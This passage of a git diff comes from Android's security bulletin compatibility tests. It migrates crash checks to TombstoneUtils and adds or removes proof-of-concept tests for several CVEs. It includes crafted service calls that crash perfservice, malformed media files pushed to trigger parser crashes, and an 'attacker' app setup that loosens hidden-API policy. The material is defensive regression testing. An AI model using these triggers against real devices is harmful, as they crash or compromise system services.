         AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runCommandLine(
-                "am start -a android.intent.action.VIEW -t audio/dsf -d file:///sdcard/cve_2022_22082.dsf",
-                getDevice());
-        Thread.sleep(10000);
-        AdbUtils.assertNoCrashes(getDevice(), "media.extractor");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.extractor");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runCommandLine(
+                    "am start -a android.intent.action.VIEW -t audio/dsf -d"
+                            + " file:///sdcard/cve_2022_22082.dsf",
+                    getDevice());
+            Thread.sleep(10000);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
index 8087e69..5e4da69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
@@ -28,20 +28,23 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends NonRootSecurityTestCase {
+public class CVE_2023_20913 extends NonRootSecurityTestCase {
 
-    @AsbSecurityTest(cveBugId = 228450811)
+    // b/246933785
+    // Vulnerable app    : Telephony.apk
+    // Vulnerable module : com.android.phone
+    // Is Play managed   : No
+    @AsbSecurityTest(cveBugId = 246933785)
     @Test
-    public void testPocCVE_2022_20347() {
+    public void testPocCVE_2023_20913() {
         try {
-            final String testPkg = "android.security.cts.CVE_2022_20347";
-            final String testClass = testPkg + "." + "DeviceTest";
+            final String testPkg = "android.security.cts.CVE_2023_20913";
             ITestDevice device = getDevice();
-            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-            installPackage("CVE-2022-20347.apk");
-            runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+            installPackage("CVE-2023-20913.apk");
+
+            AdbUtils.runCommandLine(
+                    "pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", device);
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence");
         } catch (Exception e) {
             assumeNoException(e);
         }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
new file mode 100644
index 0000000..659c002
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20918 extends NonRootSecurityTestCase {
+
+    // b/243794108
+    // Vulnerable library : services.jar
+    // Vulnerable module  : Not applicable
+    // Is Play Managed    : No
+    @AsbSecurityTest(cveBugId = 243794108)
+    @Test
+    public void testPocCVE_2023_20918() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2023_20918_test";
+
+            // Install the test and attacker apps
+            installPackage("CVE-2023-20918-test.apk");
+            installPackage("CVE-2023-20918-attacker.apk");
+
+            // Allow access to hidden api "ActivityOptions#setPendingIntentLaunchFlags()"
+            try (AutoCloseable closable =
+                    SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+                // Run the test "testCVE_2023_20918"
+                runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20918");
+            }
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 4e82953..96ff23a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -20,6 +20,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -33,13 +34,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 36075131)
     public void testPocCVE_2017_0859() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
         AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
-        AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
-                                    "-d file:///sdcard/cve_2017_0859.mp4" +
-                                    " -t audio/amr", getDevice());
-        // Wait for intent to be processed before checking logcat
-        Thread.sleep(5000);
-        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+            AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+                                        "-d file:///sdcard/cve_2017_0859.mp4" +
+                                        " -t audio/amr", getDevice());
+            // Wait for intent to be processed before checking logcat
+            Thread.sleep(5000);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 58ed748..ceb889f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -17,9 +17,11 @@
 package android.security.cts;
 
 import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,13 +36,11 @@
     @AsbSecurityTest(cveBugId = 148817146)
     public void testPocCVE_2020_3635() throws Exception {
         String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
-        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
-            AdbUtils.runCommandLine("logcat -c", getDevice());
+        assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
             AdbUtils.runCommandLine(
                     "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
-            String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-            assertNotMatchesMultiLine(
-                    "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
         }
     }
 
@@ -77,11 +77,11 @@
     @AsbSecurityTest(cveBugId = 152310294)
     public void testPocCVE_2020_3676() throws Exception {
         String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
-        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
-            AdbUtils.runCommandLine("logcat -c", getDevice());
+        assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+        TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+        try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
             AdbUtils.runCommandLine(
                     "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
-            AdbUtils.assertNoCrashes(getDevice(), "perfservice");
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java b/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java
new file mode 100644
index 0000000..4a0d32d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestBluetoothDiscoverable extends NonRootSecurityTestCase {
+    private final String mTestPkg = "android.security.cts.TestBluetoothDiscoverable";
+    private final String mTestClass = mTestPkg + "." + "DeviceTest";
+
+    @Before
+    public void setUp() {
+        try {
+            // Install test app
+            installPackage("TestBluetoothDiscoverable.apk");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        try {
+            // Back to home screen after test
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", getDevice());
+        } catch (Exception e) {
+            // Ignore exceptions here
+        }
+    }
+
+
+    // b/228450811
+    // Vulnerable module : com.android.settings
+    // Vulnerable apk : Settings.apk
+    // Is play managed : No
+    @AsbSecurityTest(cveBugId = 228450811)
+    @Test
+    public void testPocCVE_2022_20347() {
+        try {
+            runDeviceTests(mTestPkg, mTestClass, "testConnectedDeviceDashboardFragment");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    // b/244423101
+    // Vulnerable module : com.android.settings
+    // Vulnerable apk : Settings.apk
+    // Is play managed : No
+    @AsbSecurityTest(cveBugId = 244423101)
+    @Test
+    public void testPocCVE_2023_20946() {
+        try {
+            runDeviceTests(mTestPkg, mTestClass, "testBluetoothDashboardFragment");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 09f35c6..864f7b0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -21,8 +21,9 @@
 import static org.junit.Assume.*;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
 import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import java.util.Arrays;
 import junit.framework.Assert;
@@ -119,10 +120,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 156997193)
     public void testPocCVE_2020_0409() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2020-0409";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -134,10 +139,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 156999009)
     public void testPocCVE_2020_0408() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2020-0408";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -149,10 +158,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 161894517)
     public void testPocCVE_2020_0421() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2020-0421";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -269,9 +282,13 @@
     @Test
     @AsbSecurityTest(cveBugId = 64340921)
     public void testPocCVE_2017_0837() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns("audioserver");
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -286,9 +303,13 @@
     @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9047";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -300,9 +321,13 @@
     @AsbSecurityTest(cveBugId = 62151041)
     public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9048";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -315,9 +340,13 @@
     public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9049";
         String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -333,9 +362,13 @@
     public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
         String binaryName = "CVE-2018-9466-CVE-2017-9049";
         String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -352,9 +385,13 @@
     public void testPocCVE_2015_3873() throws Exception {
         String inputFiles[] = {"cve_2015_3873.mp4"};
         String binaryName = "CVE-2015-3873";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -497,9 +534,13 @@
         assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
         String inputFiles[] = {"cve_2020_0451.aac"};
         String binaryName = "CVE-2020-0451";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -547,10 +588,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 120426980)
     public void testPocCVE_2019_9362() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2019-9362";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
@@ -564,9 +609,13 @@
     public void testPocCVE_2019_9308() throws Exception {
         String inputFiles[] = {"cve_2019_9308.mp4"};
         String binaryName = "CVE-2019-9308";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
         testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -581,10 +630,14 @@
     @Test
     @AsbSecurityTest(cveBugId = 112662995)
     public void testPocCVE_2019_9357() throws Exception {
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {
+            TombstoneUtils.Signals.SIGSEGV,
+            TombstoneUtils.Signals.SIGBUS,
+            TombstoneUtils.Signals.SIGABRT,
+        };
         String binaryName = "CVE-2019-9357";
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
deleted file mode 100644
index fadda57..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
+++ /dev/null
@@ -1,44 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright 2022 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.security.cts.cve_2021_0642"
-    android:versionCode="1"
-    android:versionName="1.0">
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
-    <application
-        android:allowBackup="true"
-        android:label="CVE-2021-0642"
-        android:supportsRtl="true">
-
-        <activity
-            android:name=".PocActivity"
-            android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <intent-filter>
-                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.security.cts.cve_2021_0642" />
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
deleted file mode 100644
index 7460b96..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright 2022 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
deleted file mode 100644
index 8fc235b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0642;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ActivityNotFoundException;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.telephony.TelephonyManager;
-
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-
-import java.util.List;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-    static final String APP_TITLE = "CVE-2021-0642";
-    static final String PACKAGE_NAME = "com.android.phone";
-    static final int LAUNCH_TIMEOUT_MS = 20000;
-
-    @Test
-    public void testCVE_2021_0642() {
-        UiDevice device = UiDevice.getInstance(getInstrumentation());
-        Context context = getApplicationContext();
-        assertThat(context, notNullValue());
-        PackageManager packageManager = context.getPackageManager();
-        assertThat(packageManager, notNullValue());
-        assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
-        final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
-        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        try {
-            context.startActivity(intent);
-        } catch (ActivityNotFoundException e) {
-            assumeNoException(e);
-        }
-
-        // Check if "com.android.phone" exists on the system
-        try {
-            packageManager.getPackageUid(PACKAGE_NAME, 0);
-        } catch (PackageManager.NameNotFoundException e) {
-            assumeNoException(e);
-        }
-
-        // Wait for activity (which is part of package "com.android.phone") that
-        // handles ACTION_CONFIGURE_VOICEMAIL to get launched
-        boolean isVoicemailVisible =
-                device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
-
-        // To check if PocActivity was launched
-        BySelector selector = By.enabled(true);
-        List<UiObject2> objects = device.findObjects(selector);
-        boolean isPocActivityVisible = false;
-        for (UiObject2 o : objects) {
-            String visibleText = o.getText();
-            if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
-                isPocActivityVisible = true;
-                break;
-            }
-        }
-        device.pressHome();
-
-        assumeTrue(isVoicemailVisible || isPocActivityVisible);
-
-        String outputMsg = "Device is vulnerable to b/185126149 "
-                + "hence sensitive Iccid could be sniffed by intercepting "
-                + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
-        assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
deleted file mode 100644
index 94c8275..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
